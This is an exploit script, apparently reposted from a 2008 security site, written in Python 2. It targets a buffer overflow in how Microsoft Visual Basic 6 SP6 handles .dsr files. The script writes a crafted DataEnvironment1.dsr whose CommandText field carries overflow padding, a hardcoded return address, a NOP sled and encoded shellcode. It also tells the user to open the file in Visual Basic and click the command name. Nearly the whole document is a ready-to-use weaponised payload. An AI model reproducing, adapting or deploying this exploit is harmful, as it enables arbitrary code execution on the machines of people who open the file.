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MS Visual Basic Enterprise Ed. 6 SP6 DSR File Local BOF Exploit
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来源：http://shinnai.altervista.org 作者：shinnai 发布时间：2008-04-07
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#usage: exploit.py
print "-----------------------------------------------------------------------"
print ' [PoC 2] MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling BoF\n'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Once you create the file, open it with Visual Basic 6 and click on"
print " command name."
print "-----------------------------------------------------------------------"
buff = "A" * 555
get_EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll
nop = "\x90" * 12
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
)
dsrfile = (
"VERSION 5.00\n"
"Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n"
" ClientHeight = 6315\n"
" ClientLeft = 0\n"
" ClientTop = 0\n"
" ClientWidth = 7980\n"
" _ExtentX = 14076\n"
" _ExtentY = 11139\n"
" FolderFlags = 1\n"
' TypeLibGuid = "{D7133993-3B5A-4667-B63B-749EF16A1840}"\n'
' TypeInfoGuid = "{050E7898-66AC-4150-A213-47C7725D7E7E}"\n'
" TypeInfoCookie = 0\n"
" Version = 4\n"
" NumConnections = 1\n"
" BeginProperty Connection1\n"
' ConnectionName = "Connection1"\n'
" ConnDispId = 1001\n"
" SourceOfData = 3\n"
' ConnectionSource= ""\n'
" Expanded = -1 'True\n"
" QuoteChar = 96\n"
" SeparatorChar = 46\n"
" EndProperty\n"
" NumRecordsets = 1\n"
" BeginProperty Recordset1\n"
' CommandName = "Command1"\n'
" CommDispId = 1002\n"
" RsDispId = 1003\n"
' CommandText = "' + buff + get_EIP + nop + shellcode + nop + '"\n'
' ActiveConnectionName= "Connection1"\n'
" CommandType = 2\n"
" dbObjectType = 1\n"
" Locktype = 3\n"
" IsRSReturning = -1 'True\n"
" NumFields = 1\n"
" BeginProperty Field1\n"
" Precision = 10\n"
" Size = 4\n"
" Scale = 0\n"
" Type = 3\n"
' Name = "ID"\n'
' Caption = "ID"\n'
" EndProperty\n"
" NumGroups = 0\n"
" ParamCount = 0\n"
" RelationCount = 0\n"
" AggregateCount = 0\n"
" EndProperty\n"
"End\n"
'Attribute VB_Name = "DataEnvironment1"\n'
"Attribute VB_GlobalNameSpace = False\n"
"Attribute VB_Creatable = True\n"
"Attribute VB_PredeclaredId = True\n"
"Attribute VB_Exposed = False\n"
)
try:
out_file = open("DataEnvironment1.dsr",'w')
out_file.write(dsrfile)
out_file.close()
print "\nFILE CREATION COMPLETED!\n"
except:
print " \n -------------------------------------"
print " Usage: exploit.py"
print " -------------------------------------"
print "\nAN ERROR OCCURS DURING FILE CREATION!"
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